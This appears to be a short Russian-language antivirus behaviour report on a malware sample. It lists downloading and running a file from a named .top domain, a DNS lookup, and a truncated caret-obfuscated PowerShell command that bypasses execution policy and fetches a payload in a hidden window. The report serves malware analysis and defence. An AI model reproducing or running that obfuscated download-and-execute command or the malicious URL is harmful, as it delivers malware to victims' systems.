Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.doorasope.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POwEr^Sh^ELl.E^X^E -E^XE^CUTiOnp^OLic^y By^pAsS ^-NO^pROf^i^l^e ^-W^INd^o^WsT^YLe h^i^d^dEn ^(^n^e^W-oBJ^ECt^ Syste^m.^Ne^t.^we^bc^L^IEn^t)^.^do^w^n^l^o^adfI^LE('http://ww...
Сетевая активность
UDP
- DNS ASK do###sope.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POwEr^Sh^ELl.E^X^E -E^XE^CUTiOnp^OLic^y By^pAsS ^-NO^pROf^i^l^e ^-W^INd^o^WsT^YLe h^i^d^dEn ^(^n^e^W-oBJ^ECt^ Syste^m.^Ne^t.^we^bc^L^IEn^t)^.^do^w^n^l^o^adfI^LE('http://ww...' (со скрытым окном)
